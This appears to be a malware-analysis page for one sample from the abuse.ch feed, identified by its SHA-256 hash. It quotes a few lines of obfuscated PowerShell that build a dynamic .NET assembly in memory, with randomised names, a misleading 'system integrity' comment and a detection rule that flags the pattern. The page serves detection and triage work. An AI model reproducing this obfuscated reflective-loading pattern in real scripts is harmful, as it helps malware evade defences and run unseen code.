Benign Download

1b51a7669d310735a2d04967641bdbf2b4a97711d9f9f0aba092e3d23b658b38.bin

PowerShell accesses AppDomain CurrentDomain.NET reflection marker in opaque content
SHA-2561b51a7669d310735a2d04967641bdbf2b4a97711d9f9f0aba092e3d23b658b38
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeH(Po)Md

Evidence

.NET reflection marker in opaque content lines 396–400
396:51… , $Vl7faXQRl7, $fqe8MKRp0k7tcSC
397 $oqQhxJaGxlfWDj = Ne`w-Ob`je`ct System.Reflection.AssemblyName("GWXBGVidAI")
398# Validating system integrity.
399 $WTUptDNkpoiR = [System.AppDomain]::CurrentDomain.DefineDynamicAssembly($oqQhxJaGxlfWDj, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
400 $cVdTiEhynRsk = $WTUptDNkpoiR …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.